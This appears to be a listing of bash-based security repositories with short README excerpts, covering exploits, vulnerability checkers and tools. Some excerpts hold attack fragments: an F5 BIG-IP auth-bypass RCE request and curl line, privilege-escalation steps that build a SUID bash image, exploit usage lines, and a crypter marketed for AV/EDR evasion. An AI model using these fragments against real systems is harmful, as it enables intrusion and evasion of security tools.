EvilRip

Cve-2020-5029-finder It is a small script to fetch out the subdomains/ip vulnerable to CVE-2020-5902 written in bash. Affected Version In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface TMUI, also...

CVE-2020-7384

CVE-2020-7384 This is a small exploit in bash which I had made while solving one of the boxes from Hack The Box. The exploit is modified from the original exploit here: https://github.com/justinsteven/advisories/blob/master/2020metasploitmsfvenomapktemplatecmdi.md Usage dos2unix CVE-2020-7384.sh...

CVE-2021-4034

CVE-2021-4034 self contained bash script, just run and pwn! with reference to Qualys' blog post https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

CVE-2026-10795

CVE-2026-10795 Donate Help maintain this project If you find this project useful, please consider supporting its ongoing maintenance through PayPal or ABA Mobile. ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ Ten percent of every donation is contributed to Kantha...

FREAK-Attack-CVE-2015-0204-Testing-Script

FREAK Attack CVE 20150204 Testing Script Basic BASH Script to Automate OpenSSL based testing for FREAK Attack CVE-2015-0204 as advised by Akamai. It is a Free Software and does not need other's server to run. Your server must score A+ to SSL Labs test under normal situation, should listed as HSTS...

bincrypter

Privacy and copyright protection for your programs A Linux Binary Runtime Crypter - in BASH! Obfuscate & encrypt any ELF binary Obfuscate & encrypt any SHELL-script AV/EDR death: Morphing + different signature every time 100% in-memory. No temporary files Not soiling the filesystem Double or trip...

cve-2024-3094-detect

CVE-2024-3094-detect XZ Utils Vulnerability Check and Downgrade Script This script is designed to check the version of XZ Utils installed on your Linux system and downgrade it to a safe version if necessary. It also detects the Linux distribution and the package manager used. Features Checks the...

CVE-2022-1388

CVE-2022-1388-Exploit Exploit and Check Script for CVE 2022-1388 Usage To Check against single host URL python3 exploit.py -v true -u targeturl To Attack host and test command on this host python3 exploit.py -a true -u targeturl -c command Attack list of hosts or attaching file of host URL's IP...

CVE-2025-6018

CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Guide 中文 📋 Quick Exploitation Steps Step 1: Prepare XFS Image Local Machine Create 300MB XFS image dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image Mount and install SUID bash mkdir mnt sudo mount -t xfs xfs.image mnt sudo cp...

ralph

Ralph A working implementation of the Ralph Wiggum autonomous loop technique for Claude Code. Background The official ralph-wiggum plugin in Anthropic's plugin marketplace is currently broken due to a security update in Claude Code v1.0.20 August 2025. The security patch CVE-2025-54795 correctly...

bashacks

bashacks What? bashacks is a collection of bash functions likely to be useful for programmers, security analysts, and general users who need low-level operations. In fact, there is nothing really new in bashacks; all functions are written using existing software in UNIX-like systems. However, it...

CVE-2023-32629-CVE-2023-2640---POC-Escalation

CVE-2023-32629 & CVE-2023-2640 : Privilege escalation Ubuntu Privilege Escalation bash one-liner using CVE-2023-32629 & CVE-2023-2640. TOTALLY STOLE IT FROM https://twitter.com/liadeliyahu/status/1684841527959273472?t=puhDAlZCy75s7UbdV-bFw&s=19 PLEASE RETWEET THE ORIGINAL SOURCE I just wanted to...

POC-CVE-2025-68613

Description PoC exploit code for N8N authenticated RCE vulnerability CVE-2025-68613 Usage python3 poc.py -u -c...

Nuke.sh

NUKE - Recon & Attack Surface Mapper | \ | | | | | |/ / | | | | | | | ' /| | | |\ | || | . | | || |/||\| N U K E // recon & attack surface mapper ----------------------------------------- Bash-based passive reconnaissance + attack surface mapping script using only public APIs + stock Linux...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ ...

CVE-2023-23752

CVE-2023-23752 A bash script that exploits the vulnerable endpoints for the Joomla! API 4.0 - 4.2.7 through the use of curl and automation. Testing Environment Tryhackme: https://tryhackme.com/r/room/joomify...

CVE-2017-0785-PoC

An improved poc of CVE-2017-0785 The original poc: https://github.com/ojasookert/CVE-2017-0785...

CVE-2014-6271

Shellshock Vulnerability Checker This script checks if a website is vulnerable to the Shellshock vulnerability CVE-2014-6271. Summary: The Shellshock vulnerability, also known as Bashdoor, is a security flaw that was discovered in September 2014 in the Unix Bash shell. The vulnerability allows...

CVE-2022-0847-dirty-pipe-checker

CVE-2022-0847-dirty-pipe-checker Bash script to check for CVE-2022-0847 "Dirty Pipe" https://dirtypipe.cm4all.com/ Usage Check current kernel version ./dpipe.sh Check specific kernel version ./dpipe.sh 5.10.11...

bash-4.3-fixed-CVE-2014-6271

Introduction This is GNU Bash, version 4.3. Bash is the GNU Project's Bourne Again SHell, a complete implementation of the POSIX shell spec, but also with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace...